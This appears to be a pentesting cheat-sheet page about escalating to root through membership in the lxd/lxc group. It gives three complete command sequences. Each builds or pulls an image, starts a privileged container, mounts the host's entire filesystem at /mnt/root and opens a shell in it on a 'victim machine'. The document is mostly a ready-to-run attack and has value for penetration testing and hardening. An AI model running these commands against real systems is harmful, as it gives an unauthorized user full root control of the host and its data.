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lxd/lxc Group - Privilege escalation

If you belong to lxd or lxc group, you can become root

Exploiting without internet

Method 1

You can install in your machine this distro builder: https://github.com/lxc/distrobuilder (follow the instructions of the github):
sudo su
#Install requirements
sudo apt update
sudo apt install -y git golang-go debootstrap rsync gpg squashfs-tools
#Clone repo
git clone https://github.com/lxc/distrobuilder
#Make distrobuilder
cd distrobuilder
#Prepare the creation of alpine
mkdir -p $HOME/ContainerImages/alpine/
cd $HOME/ContainerImages/alpine/
wget https://raw.githubusercontent.com/lxc/lxc-ci/master/images/alpine.yaml
#Create the container
sudo $HOME/go/bin/distrobuilder build-lxd alpine.yaml -o image.release=3.18
Then, upload to the vulnerable server the files lxd.tar.xz and rootfs.squashfs
Add the image:
lxc image import lxd.tar.xz rootfs.squashfs --alias alpine
lxc image list #You can see your new imported image
Create a container and add root path
lxc init alpine privesc -c security.privileged=true
lxc list #List containers
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
If you find this error Error: No storage pool found. Please create a new storage pool Run lxd init and repeat the previous chunk of commands
Execute the container:
lxc start privesc
lxc exec privesc /bin/sh
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

Method 2

Build an Alpine image and start it using the flag security.privileged=true, forcing the container to interact as root with the host filesystem.
# build a simple alpine image
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
sed -i 's,yaml_path="latest-stable/releases/$apk_arch/latest-releases.yaml",yaml_path="v3.8/releases/$apk_arch/latest-releases.yaml",' build-alpine
sudo ./build-alpine -a i686
# import the image
lxc image import ./alpine*.tar.gz --alias myimage # It's important doing this from YOUR HOME directory on the victim machine, or it might fail.
# before running the image, start and configure the lxd storage pool as default
lxd init
# run the image
lxc init myimage mycontainer -c security.privileged=true
# mount the /root into the image
lxc config device add mycontainer mydevice disk source=/ path=/mnt/root recursive=true
# interact with the container
lxc start mycontainer
lxc exec mycontainer /bin/sh

With internet

You can follow these instructions.
lxc init ubuntu:16.04 test -c security.privileged=true
lxc config device add test whatever disk source=/ path=/mnt/root recursive=true
lxc start test
lxc exec test bash
[email protected]:~# cd /mnt/root #Here is where the filesystem is mounted

Other Refs